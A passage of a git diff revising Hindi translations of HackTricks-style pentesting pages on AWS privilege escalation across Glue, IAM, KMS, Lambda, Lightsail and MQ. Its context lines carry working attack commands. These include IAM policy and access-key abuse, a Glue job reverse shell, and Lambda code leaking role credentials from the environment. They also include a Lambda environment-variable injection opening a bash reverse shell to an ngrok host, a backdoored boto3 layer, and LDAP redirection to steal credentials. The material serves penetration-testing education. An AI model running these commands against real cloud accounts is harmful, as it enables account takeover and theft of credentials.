मौजूदा सेवा भूमिका को इस अंत बिंदु पर विशिष्ट अनुमतियों के साथ असाइन करते हैं**। -सेटअप के बाद, **हमलावर अंत बिंदु के उदाहरण में SSH कर सकता है**, और असाइन की गई भूमिका के IAM क्रेडेंशियल चुरा सकता है: +सेटअप के बाद, **हमलावर अंत बिंदु के उदाहरण में SSH कर सकता है**, और असाइन की गई भूमिका के IAM क्रेडेंशियल्स चुरा सकता है: ```bash # Create endpoint aws glue create-dev-endpoint --endpoint-name \ @@ -41,11 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` -**संभावित प्रभाव:** उपयोग की गई गोंद सेवा भूमिका के लिए प्रिवेस्क। +**संभावित प्रभाव:** ग्लू सेवा भूमिका में प्रिवेस्क। ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) -उपयोगकर्ता जिनके पास **`iam:PassRole`** है, जो **`glue:CreateJob` या `glue:UpdateJob`** के साथ मिलकर, और **`glue:StartJobRun` या `glue:CreateTrigger`** में से किसी एक के साथ मिलकर **AWS Glue नौकरी** बना या अपडेट कर सकते हैं, किसी भी **गोंद सेवा खाते** को संलग्न कर सकते हैं, और नौकरी के निष्पादन को प्रारंभ कर सकते हैं। नौकरी की क्षमताओं में मनमाने Python कोड को चलाना शामिल है, जिसका उपयोग एक रिवर्स शेल स्थापित करने के लिए किया जा सकता है। इस रिवर्स शेल का उपयोग **IAM क्रेडेंशियल** को निकालने के लिए किया जा सकता है जो गोंद नौकरी से जुड़ी भूमिका के हैं, जिससे उस भूमिका के अनुमतियों के आधार पर संभावित अनधिकृत पहुंच या क्रियाएं हो सकती हैं: +उपयोगकर्ता जिनके पास **`iam:PassRole`** है, जो **`glue:CreateJob` या `glue:UpdateJob`** के साथ मिलकर, और **`glue:StartJobRun` या `glue:CreateTrigger`** में से किसी एक के साथ मिलकर **AWS Glue जॉब** बना या अपडेट कर सकते हैं, किसी भी **ग्लू सेवा खाता** को संलग्न कर सकते हैं, और जॉब के निष्पादन को प्रारंभ कर सकते हैं। जॉब की क्षमताओं में मनमाने Python कोड को चलाना शामिल है, जिसका उपयोग एक रिवर्स शेल स्थापित करने के लिए किया जा सकता है। इस रिवर्स शेल का उपयोग **IAM क्रेडेंशियल** को निकालने के लिए किया जा सकता है जो ग्लू जॉब से जुड़ी भूमिका के हैं, जिससे उस भूमिका के अनुमतियों के आधार पर संभावित अनधिकृत पहुंच या क्रियाएं हो सकती हैं: ```bash # Content of the python script saved in s3: #import socket,subprocess,os @@ -71,13 +71,13 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \ --actions '[{"JobName": "privesctest"}]' --start-on-creation \ --schedule "0/5 * * * * *" #Every 5mins, feel free to change ``` -**संभावित प्रभाव:** निर्दिष्ट गोंद सेवा भूमिका के लिए प्रिवेस्क। +**संभावित प्रभाव:** निर्दिष्ट ग्लू सेवा भूमिका के लिए प्रिवेस्क। ### `glue:UpdateJob` केवल अपडेट अनुमति के साथ, एक हमलावर पहले से जुड़े भूमिका के IAM क्रेडेंशियल्स चुरा सकता है। -**संभावित प्रभाव:** जुड़े गोंद सेवा भूमिका के लिए प्रिवेस्क। +**संभावित प्रभाव:** जुड़े हुए ग्लू सेवा भूमिका के लिए प्रिवेस्क। ## संदर्भ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md index f8bc611c9..8b0a9cd28 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md @@ -12,18 +12,18 @@ IAM के बारे में अधिक जानकारी के ल ### **`iam:CreatePolicyVersion`** -एक नया IAM नीति संस्करण बनाने की क्षमता प्रदान करता है, `iam:SetDefaultPolicyVersion` अनुमति की आवश्यकता को बायपास करते हुए `--set-as-default` ध्वज का उपयोग करके। यह कस्टम अनुमतियों को परिभाषित करने की अनुमति देता है। +एक नए IAM नीति संस्करण को बनाने की क्षमता प्रदान करता है, `iam:SetDefaultPolicyVersion` अनुमति की आवश्यकता को बायपास करते हुए `--set-as-default` ध्वज का उपयोग करके। यह कस्टम अनुमतियों को परिभाषित करने की अनुमति देता है। **Exploit Command:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**प्रभाव:** सीधे विशेषाधिकारों को बढ़ाता है जिससे किसी भी संसाधन पर कोई भी क्रिया की जा सके। +**प्रभाव:** किसी भी संसाधन पर किसी भी क्रिया की अनुमति देकर सीधे विशेषाधिकार बढ़ाता है। ### **`iam:SetDefaultPolicyVersion`** -IAM नीति के डिफ़ॉल्ट संस्करण को किसी अन्य मौजूदा संस्करण में बदलने की अनुमति देता है, यदि नए संस्करण में अधिक अनुमतियाँ हैं तो संभावित रूप से विशेषाधिकारों को बढ़ा सकता है। +IAM नीति के डिफ़ॉल्ट संस्करण को किसी अन्य मौजूदा संस्करण में बदलने की अनुमति देता है, यदि नए संस्करण में अधिक अनुमतियाँ हैं तो विशेषाधिकार बढ़ाने की संभावना है। **Bash कमांड:** ```bash @@ -33,7 +33,7 @@ aws iam set-default-policy-version --policy-arn --version-id ### **`iam:CreateAccessKey`** -किसी अन्य उपयोगकर्ता के लिए एक्सेस की आईडी और गुप्त एक्सेस की बनाने की अनुमति देता है, जिससे संभावित विशेषाधिकार वृद्धि हो सकती है। +किसी अन्य उपयोगकर्ता के लिए एक्सेस कुंजी आईडी और गुप्त एक्सेस कुंजी बनाने की अनुमति देता है, जिससे संभावित विशेषाधिकार वृद्धि हो सकती है। **शोषण:** ```bash @@ -43,7 +43,7 @@ aws iam create-access-key --user-name ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -AWS कंसोल लॉगिन के लिए पासवर्ड सेट करने सहित एक लॉगिन प्रोफ़ाइल बनाने या अपडेट करने की अनुमति देता है, जो सीधे विशेषाधिकार वृद्धि की ओर ले जाता है। +लॉगिन प्रोफ़ाइल बनाने या अपडेट करने की अनुमति देता है, जिसमें AWS कंसोल लॉगिन के लिए पासवर्ड सेट करना शामिल है, जो सीधे विशेषाधिकार वृद्धि की ओर ले जाता है। **निर्माण के लिए शोषण:** ```bash @@ -83,7 +83,7 @@ aws iam reset-service-specific-credential --service-specific-credential-id --policy-arn "" ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**प्रभाव:** नीति द्वारा प्रदान की गई किसी भी चीज़ के लिए सीधे विशेषाधिकार वृद्धि। +**प्रभाव:** नीति द्वारा प्रदान की गई किसी भी चीज़ पर सीधे विशेषाधिकार वृद्धि। ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -भूमिकाओं, उपयोगकर्ताओं, या समूहों पर नीतियों को संलग्न करने या रखने की अनुमति देता है, जिससे अतिरिक्त अनुमतियाँ देकर सीधे विशेषाधिकार वृद्धि संभव होती है। +भूमिकाओं, उपयोगकर्ताओं, या समूहों पर नीतियों को संलग्न करने या रखने की अनुमति देता है, जिससे अतिरिक्त अनुमतियाँ प्रदान करके सीधे विशेषाधिकार वृद्धि संभव होती है। **भूमिका के लिए शोषण:** ```bash @@ -131,7 +131,7 @@ aws iam put-role-policy --role-name --policy-name "" \ ### **`iam:AddUserToGroup`** -अपने आप को IAM समूह में जोड़ने की अनुमति देता है, समूह की अनुमतियों को विरासत में लेकर विशेषाधिकार बढ़ाता है। +IAM समूह में स्वयं को जोड़ने की अनुमति देता है, समूह की अनुमतियों को विरासत में लेकर विशेषाधिकार बढ़ाता है। **शोषण:** ```bash @@ -141,7 +141,7 @@ aws iam add-user-to-group --group-name --user-name ### **`iam:UpdateAssumeRolePolicy`** -एक भूमिका के assume role नीति दस्तावेज़ को बदलने की अनुमति देता है, भूमिका और इसके संबंधित अनुमतियों के ग्रहण को सक्षम बनाता है। +एक भूमिका के असुमे भूमिका नीति दस्तावेज़ को बदलने की अनुमति देता है, भूमिका और इसके संबंधित अनुमतियों के अधिग्रहण को सक्षम बनाता है। **शोषण:** ```bash @@ -173,11 +173,11 @@ aws iam update-assume-role-policy --role-name \ ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` -**MFA निष्क्रियता के लिए शोषण:** +**MFA निष्क्रियकरण के लिए शोषण:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` -**प्रभाव:** कोडकमिट एक्सेस सक्षम करके या MFA सुरक्षा को अक्षम करके अप्रत्यक्ष विशेषाधिकार वृद्धि। +**प्रभाव:** कोडकमिट एक्सेस सक्षम करके या MFA सुरक्षा को निष्क्रिय करके अप्रत्यक्ष विशेषाधिकार वृद्धि। ### **`iam:ResyncMFADevice`** @@ -215,7 +215,7 @@ aws iam update-saml-provider --saml-metadata-document --saml-prov ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(इस बारे में अनिश्चित) यदि एक हमलावर के पास ये **अनुमतियाँ** हैं, तो वह प्रदाता पर भरोसा करने वाली सभी भूमिकाओं में लॉगिन करने के लिए एक नया **थंबप्रिंट** जोड़ सकता है। +(इस बारे में अनिश्चित) यदि एक हमलावर के पास ये **अनुमतियाँ** हैं, तो वह सभी भूमिकाओं में लॉगिन करने के लिए प्रदाता पर भरोसा करने वाले नए **थंबप्रिंट** को जोड़ सकता है। ```bash # List providers aws iam list-open-id-connect-providers diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md index 38fa9af78..493edb919 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md @@ -61,7 +61,7 @@ aws kms create-grant \ > [!WARNING] > ध्यान दें कि KMS को **ग्रांट उत्पन्न होने के बाद कुंजी का उपयोग करने के लिए उपयोगकर्ता को अनुमति देने में कुछ मिनट लग सकते हैं**। एक बार वह समय बीत जाने के बाद, प्रिंसिपल KMS कुंजी का उपयोग बिना कुछ निर्दिष्ट किए कर सकता है।\ -> हालाँकि, यदि ग्रांट का तुरंत उपयोग करना आवश्यक है [एक ग्रांट टोकन का उपयोग करें](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (निम्नलिखित कोड की जांच करें)।\ +> हालाँकि, यदि ग्रांट का तुरंत उपयोग करना आवश्यक है [एक ग्रांट टोकन का उपयोग करें](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (निम्नलिखित कोड देखें)।\ > [**अधिक जानकारी के लिए इसे पढ़ें**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token)। ```bash # Use the grant token in a request @@ -76,7 +76,7 @@ aws kms list-grants --key-id ``` ### `kms:CreateKey`, `kms:ReplicateKey` -इन अनुमतियों के साथ, एक अलग क्षेत्र में एक अलग नीति के साथ एक मल्टी-क्षेत्र सक्षम KMS कुंजी को पुन: उत्पन्न करना संभव है। +इन अनुमतियों के साथ, एक अलग क्षेत्र में एक अलग नीति के साथ एक मल्टी-रीजन सक्षम KMS कुंजी को पुन: उत्पन्न करना संभव है। इसलिए, एक हमलावर इसका दुरुपयोग करके कुंजी तक अपनी पहुंच प्राप्त कर सकता है और इसका उपयोग कर सकता है। ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index 06c6f236f..290900f03 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -47,7 +47,7 @@ aws lambda invoke --function-name my_function output.txt aws iam list-attached-user-policies --user-name ``` आप **लैम्ब्डा भूमिका अनुमतियों का दुरुपयोग** भी कर सकते हैं जो लैम्ब्डा फ़ंक्शन से ही हैं।\ -यदि लैम्ब्डा भूमिका के पास पर्याप्त अनुमतियाँ थीं, तो आप इसका उपयोग करके अपने लिए प्रशासनिक अधिकार प्रदान कर सकते थे: +यदि लैम्ब्डा भूमिका में पर्याप्त अनुमतियाँ हैं, तो आप इसका उपयोग करके अपने लिए प्रशासनिक अधिकार प्रदान कर सकते हैं: ```python import boto3 def lambda_handler(event, context): @@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return response ``` -यह भी संभव है कि बिना किसी बाहरी कनेक्शन की आवश्यकता के lambda के भूमिका क्रेडेंशियल्स लीक किए जाएं। यह **Network isolated Lambdas** के लिए उपयोगी होगा जो आंतरिक कार्यों पर उपयोग किए जाते हैं। यदि आपके रिवर्स शेल को फ़िल्टर करने वाले अज्ञात सुरक्षा समूह हैं, तो यह कोड आपको lambda के आउटपुट के रूप में सीधे क्रेडेंशियल्स लीक करने की अनुमति देगा। +यह भी संभव है कि बिना किसी बाहरी कनेक्शन की आवश्यकता के लम्ब्डा की भूमिका क्रेडेंशियल्स लीक किए जाएं। यह **नेटवर्क आइसोलेटेड लम्ब्डास** के लिए उपयोगी होगा जो आंतरिक कार्यों पर उपयोग किए जाते हैं। यदि आपके रिवर्स शेल को फ़िल्टर करने वाले अज्ञात सुरक्षा समूह हैं, तो यह कोड आपको लम्ब्डा के आउटपुट के रूप में सीधे क्रेडेंशियल्स लीक करने की अनुमति देगा। ```python def handler(event, context): sessiontoken = open('/proc/self/environ', "r").read() @@ -79,27 +79,27 @@ cat output.txt ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` -पिछले परिदृश्य की तरह, आप **`lambda:AddPermission`** अनुमति होने पर **अपने लिए `lambda:InvokeFunction`** अनुमति **प्रदान** कर सकते हैं। +पिछले परिदृश्य की तरह, यदि आपके पास अनुमति **`lambda:AddPermission`** है तो आप **अपने लिए `lambda:InvokeFunction`** अनुमति **प्रदान** कर सकते हैं। ```bash # Check the previous exploit and use the following line to grant you the invoke permissions aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" ``` -**संभावित प्रभाव:** निर्दिष्ट मनमाने लैम्ब्डा सेवा भूमिका के लिए सीधे विशेषाधिकार वृद्धि। +**संभावित प्रभाव:** निर्दिष्ट मनमाने लैम्ब्डा सेवा भूमिका के लिए सीधे प्रिवेस्क। ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` -**`iam:PassRole`, `lambda:CreateFunction`, और `lambda:CreateEventSourceMapping`** अनुमतियों वाले उपयोगकर्ता (और संभावित रूप से `dynamodb:PutItem` और `dynamodb:CreateTable`) अप्रत्यक्ष रूप से **विशेषाधिकार बढ़ा सकते हैं** भले ही उनके पास `lambda:InvokeFunction` न हो।\ +**`iam:PassRole`, `lambda:CreateFunction`, और `lambda:CreateEventSourceMapping`** अनुमतियों वाले उपयोगकर्ता (और संभावित रूप से `dynamodb:PutItem` और `dynamodb:CreateTable`) अप्रत्यक्ष रूप से **अधिकार बढ़ा सकते हैं** भले ही उनके पास `lambda:InvokeFunction` न हो।\ वे **दुष्ट कोड के साथ एक लैम्ब्डा फ़ंक्शन बना सकते हैं और इसे एक मौजूदा IAM भूमिका सौंप सकते हैं**। -लैम्ब्डा को सीधे सक्रिय करने के बजाय, उपयोगकर्ता एक मौजूदा DynamoDB तालिका स्थापित करता है या उसका उपयोग करता है, इसे एक इवेंट स्रोत मैपिंग के माध्यम से लैम्ब्डा से जोड़ता है। यह सेटअप सुनिश्चित करता है कि लैम्ब्डा फ़ंक्शन तालिका में एक नए आइटम के प्रवेश पर **स्वचालित रूप से सक्रिय हो** जाता है, चाहे वह उपयोगकर्ता की क्रिया द्वारा हो या किसी अन्य प्रक्रिया द्वारा, इस प्रकार अप्रत्यक्ष रूप से लैम्ब्डा फ़ंक्शन को सक्रिय करना और पास की गई IAM भूमिका के अनुमतियों के साथ कोड को निष्पादित करना। +लैम्ब्डा को सीधे सक्रिय करने के बजाय, उपयोगकर्ता एक मौजूदा DynamoDB तालिका सेट करता है या उसका उपयोग करता है, इसे एक इवेंट स्रोत मैपिंग के माध्यम से लैम्ब्डा से जोड़ता है। यह सेटअप सुनिश्चित करता है कि लैम्ब्डा फ़ंक्शन तालिका में एक नए आइटम के प्रवेश पर **स्वचालित रूप से ट्रिगर** होता है, चाहे वह उपयोगकर्ता की क्रिया द्वारा हो या किसी अन्य प्रक्रिया द्वारा, इस प्रकार अप्रत्यक्ष रूप से लैम्ब्डा फ़ंक्शन को सक्रिय करना और पास की गई IAM भूमिका के अनुमतियों के साथ कोड को निष्पादित करना। ```bash aws lambda create-function --function-name my_function \ --runtime python3.8 --role \ --handler lambda_function.lambda_handler \ --zip-file fileb://rev.zip ``` -यदि DynamoDB पहले से AWS वातावरण में सक्रिय है, तो उपयोगकर्ता केवल **Lambda फ़ंक्शन के लिए इवेंट स्रोत मैपिंग स्थापित करने की आवश्यकता है**। हालाँकि, यदि DynamoDB का उपयोग नहीं किया जा रहा है, तो उपयोगकर्ता को **स्ट्रीमिंग सक्षम के साथ एक नई तालिका बनानी होगी**: +यदि DynamoDB पहले से AWS वातावरण में सक्रिय है, तो उपयोगकर्ता को केवल **Lambda फ़ंक्शन के लिए इवेंट स्रोत मैपिंग स्थापित करने की आवश्यकता है**। हालाँकि, यदि DynamoDB का उपयोग नहीं किया जा रहा है, तो उपयोगकर्ता को **स्ट्रीमिंग सक्षम के साथ एक नई तालिका बनानी होगी**: ```bash aws dynamodb create-table --table-name my_table \ --attribute-definitions AttributeName=Test,AttributeType=S \ @@ -113,7 +113,7 @@ aws lambda create-event-source-mapping --function-name my_function \ --event-source-arn \ --enabled --starting-position LATEST ``` -Lambda फ़ंक्शन को DynamoDB स्ट्रीम से लिंक करके, हमलावर **DynamoDB स्ट्रीम को सक्रिय करके Lambda को अप्रत्यक्ष रूप से ट्रिगर कर सकता है**। यह **DynamoDB तालिका में एक आइटम डालकर** किया जा सकता है: +DynamoDB स्ट्रीम से जुड़े Lambda फ़ंक्शन के साथ, हमलावर **DynamoDB स्ट्रीम को सक्रिय करके Lambda को अप्रत्यक्ष रूप से ट्रिगर कर सकता है**। यह **DynamoDB तालिका में एक आइटम डालकर** किया जा सकता है: ```bash aws dynamodb put-item --table-name my_table \ --item Test={S="Random string"} @@ -143,10 +143,10 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen ### `lambda:UpdateFunctionCode` -**`lambda:UpdateFunctionCode`** अनुमति रखने वाले उपयोगकर्ताओं के पास **IAM भूमिका से जुड़े एक मौजूदा Lambda फ़ंक्शन के कोड को संशोधित करने की क्षमता है।**\ -हमलावर **IAM क्रेडेंशियल्स को एक्सफिल्ट्रेट करने के लिए लैम्ब्डा का कोड संशोधित कर सकता है।** +**`lambda:UpdateFunctionCode`** अनुमति रखने वाले उपयोगकर्ताओं के पास **IAM भूमिका से जुड़े एक मौजूदा Lambda फ़ंक्शन के कोड को संशोधित करने की संभावना है।**\ +हमलावर **IAM क्रेडेंशियल्स को निकालने के लिए lambda के कोड को संशोधित कर सकता है।** -हालांकि हमलावर के पास फ़ंक्शन को सीधे सक्रिय करने की क्षमता नहीं हो सकती है, यदि Lambda फ़ंक्शन पूर्व-निर्मित और कार्यात्मक है, तो यह संभावना है कि इसे मौजूदा वर्कफ़्लो या घटनाओं के माध्यम से सक्रिय किया जाएगा, इस प्रकार संशोधित कोड के निष्पादन को अप्रत्यक्ष रूप से सुविधाजनक बनाता है। +हालांकि हमलावर के पास फ़ंक्शन को सीधे सक्रिय करने की क्षमता नहीं हो सकती है, यदि Lambda फ़ंक्शन पूर्व-निर्धारित और कार्यात्मक है, तो यह संभावना है कि इसे मौजूदा कार्यप्रवाहों या घटनाओं के माध्यम से सक्रिय किया जाएगा, इस प्रकार संशोधित कोड के निष्पादन को अप्रत्यक्ष रूप से सुविधाजनक बनाता है। ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws lambda update-function-code --function-name target_function \ @@ -167,7 +167,7 @@ aws lambda invoke --function-name my_function output.txt ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` -अन्य स्क्रिप्टिंग भाषाओं के लिए अन्य env वेरिएबल्स हैं जिनका आप उपयोग कर सकते हैं। अधिक जानकारी के लिए स्क्रिप्टिंग भाषाओं के उपखंडों की जांच करें: +अन्य स्क्रिप्टिंग भाषाओं के लिए अन्य पर्यावरण चर हैं जिनका आप उपयोग कर सकते हैं। अधिक जानकारी के लिए स्क्रिप्टिंग भाषाओं के उपखंडों की जांच करें: {{#ref}} https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse @@ -198,13 +198,13 @@ print(json.dumps(sys.path, indent=2)) 9. /opt/python/lib/python3.7/site-packages 10. /opt/python -उदाहरण के लिए, पुस्तकालय boto3 को `/var/runtime/boto3` (4थी स्थिति) से लोड किया जाता है। +उदाहरण के लिए, पुस्तकालय boto3 `/var/runtime/boto3` (4थी स्थिति) से लोड होता है। #### शोषण -`lambda:UpdateFunctionConfiguration` अनुमति का दुरुपयोग करके **एक नया लेयर** जोड़ना संभव है। मनमाने कोड को निष्पादित करने के लिए इस लेयर में कुछ **पुस्तकालय होना चाहिए जिसे लैम्ब्डा आयात करने जा रहा है।** यदि आप लैम्ब्डा का कोड पढ़ सकते हैं, तो आप इसे आसानी से ढूंढ सकते हैं, यह भी ध्यान दें कि यह संभव है कि लैम्ब्डा **पहले से ही एक लेयर का उपयोग कर रहा है** और आप **लेयर डाउनलोड** कर सकते हैं और **वहाँ अपना कोड जोड़ सकते हैं।** +`lambda:UpdateFunctionConfiguration` अनुमति का दुरुपयोग करना संभव है **एक नया लेयर** जोड़ने के लिए एक lambda फ़ंक्शन में। मनमाने कोड को निष्पादित करने के लिए इस लेयर में कुछ **पुस्तकालय होना चाहिए जिसे lambda आयात करने जा रहा है।** यदि आप lambda का कोड पढ़ सकते हैं, तो आप इसे आसानी से ढूंढ सकते हैं, यह भी ध्यान दें कि यह संभव है कि lambda **पहले से ही एक लेयर का उपयोग कर रहा है** और आप **लेयर डाउनलोड** कर सकते हैं और **वहाँ अपना कोड जोड़ सकते हैं।** -उदाहरण के लिए, मान लीजिए कि लैम्ब्डा पुस्तकालय boto3 का उपयोग कर रहा है, यह पुस्तकालय के अंतिम संस्करण के साथ एक स्थानीय लेयर बनाएगा: +उदाहरण के लिए, मान लीजिए कि lambda पुस्तकालय boto3 का उपयोग कर रहा है, यह पुस्तकालय के अंतिम संस्करण के साथ एक स्थानीय लेयर बनाएगा: ```bash pip3 install -t ./lambda_layer boto3 ``` @@ -215,7 +215,7 @@ pip3 install -t ./lambda_layer boto3 ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` -अब, अपलोड की गई लैम्ब्डा परत को **किसी भी खाते द्वारा सुलभ** बनाएं: +अब अपलोड किया गया लैम्ब्डा लेयर **किसी भी खाते द्वारा सुलभ** बनाएं: ```bash aws lambda add-layer-version-permission --layer-name boto3 \ --version-number 1 --statement-id public \ @@ -240,7 +240,7 @@ aws lambda update-function-configuration \ ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` -शायद इन अनुमतियों के साथ आप एक फंक्शन बना सकते हैं और इसे URL को कॉल करके निष्पादित कर सकते हैं... लेकिन मैं इसे परीक्षण करने का एक तरीका नहीं ढूंढ सका, तो मुझे बताएं यदि आप करते हैं! +शायद इन अनुमतियों के साथ आप एक फंक्शन बना सकते हैं और इसे URL को कॉल करके निष्पादित कर सकते हैं... लेकिन मैं इसे परीक्षण करने का कोई तरीका नहीं ढूंढ सका, तो मुझे बताएं यदि आप करते हैं! ### लैम्ब्डा MitM diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md index 0bfca1edd..cb243fcf0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md @@ -11,7 +11,7 @@ Lightsail के बारे में अधिक जानकारी क {{#endref}} > [!WARNING] -> यह ध्यान रखना महत्वपूर्ण है कि Lightsail **उपयोगकर्ता के IAM भूमिकाओं का उपयोग नहीं करता** बल्कि एक AWS प्रबंधित खाते का, इसलिए आप इस सेवा का दुरुपयोग करके प्रिवेस्क नहीं कर सकते। हालाँकि, **संवेदनशील डेटा** जैसे कोड, API कुंजी और डेटाबेस जानकारी इस सेवा में मिल सकती है। +> यह ध्यान रखना महत्वपूर्ण है कि Lightsail **उपयोगकर्ता के IAM भूमिकाओं का उपयोग नहीं करता** बल्कि एक AWS प्रबंधित खाते का, इसलिए आप इस सेवा का दुरुपयोग प्रिवेस्क के लिए नहीं कर सकते। हालाँकि, **संवेदनशील डेटा** जैसे कोड, API कुंजी और डेटाबेस जानकारी इस सेवा में मिल सकती है। ### `lightsail:DownloadDefaultKeyPair` @@ -51,7 +51,7 @@ aws lightsail get-relational-database-master-user-password --relational-database ```bash aws lightsail update-relational-database --relational-database-name --master-user-password ``` -यदि डेटाबेस सार्वजनिक नहीं है, तो आप इसे इस अनुमति के साथ सार्वजनिक भी बना सकते हैं +यदि डेटाबेस सार्वजनिक नहीं है, तो आप इन अनुमतियों के साथ इसे सार्वजनिक भी बना सकते हैं। ```bash aws lightsail update-relational-database --relational-database-name --publicly-accessible ``` @@ -59,7 +59,7 @@ aws lightsail update-relational-database --relational-database-name --pub ### `lightsail:OpenInstancePublicPorts` -यह अनुमति इंटरनेट के लिए पोर्ट खोलने की अनुमति देती है। +यह अनुमति इंटरनेट पर पोर्ट खोलने की अनुमति देती है। ```bash aws lightsail open-instance-public-ports \ --instance-name MEAN-2 \ @@ -131,6 +131,4 @@ aws lightsail update-domain-entry \ --domain-name example.com \ --domain-entry name=dev.example.com,type=A,target=192.0.2.0 ``` -**संभावित प्रभाव:** एक डोमेन पर कब्जा करना - -{{#include ../../../banners/hacktricks-training.md}} +**संभावित प्रभाव:** एक डोमेन का अधिग्रहण diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md index 8779469f5..5bc00be61 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md @@ -14,7 +14,7 @@ aws mediapackage rotate-channel-credentials --id ```bash aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 ``` -## References +## संदर्भ - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md index eb0876e7e..6981b5774 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md @@ -31,12 +31,12 @@ aws mq update-user --broker-id --console-access --password --use ### `mq:ListBrokers`, `mq:UpdateBroker` -यदि एक ब्रोकर **ActiveMQ** के साथ प्राधिकरण के लिए **LDAP** का उपयोग कर रहा है। तो यह संभव है कि **हमलावर द्वारा नियंत्रित** LDAP सर्वर की **कॉन्फ़िगरेशन** को **बदलें**। इस तरह हमलावर **LDAP के माध्यम से भेजे जा रहे सभी क्रेडेंशियल्स को चुरा** सकेगा। +यदि एक ब्रोकर **ActiveMQ** के साथ प्राधिकरण के लिए **LDAP** का उपयोग कर रहा है। तो यह संभव है कि **हमलावर द्वारा नियंत्रित** **LDAP सर्वर** की **कॉन्फ़िगरेशन** को **बदल** दिया जाए। इस तरह हमलावर **LDAP के माध्यम से भेजे जा रहे सभी क्रेडेंशियल्स को चुरा** सकेगा। ```bash aws mq list-brokers aws mq update-broker --broker-id --ldap-server-metadata=... ``` -यदि आप किसी तरह ActiveMQ द्वारा उपयोग किए गए मूल क्रेडेंशियल्स को ढूंढ सकते हैं, तो आप एक MitM कर सकते हैं, क्रेड्स चुरा सकते हैं, उन्हें मूल सर्वर में उपयोग कर सकते हैं, और प्रतिक्रिया भेज सकते हैं (शायद बस चुराए गए क्रेडेंशियल्स का पुन: उपयोग करके आप यह कर सकते हैं)। +यदि आप किसी तरह ActiveMQ द्वारा उपयोग किए गए मूल क्रेडेंशियल्स को खोज सकते हैं, तो आप एक MitM कर सकते हैं, क्रेडेंशियल्स चुरा सकते हैं, उन्हें मूल सर्वर में उपयोग कर सकते हैं, और प्रतिक्रिया भेज सकते हैं (शायद केवल चुराए गए क्रेडेंशियल्स का पुन: उपयोग करके आप यह कर सकते 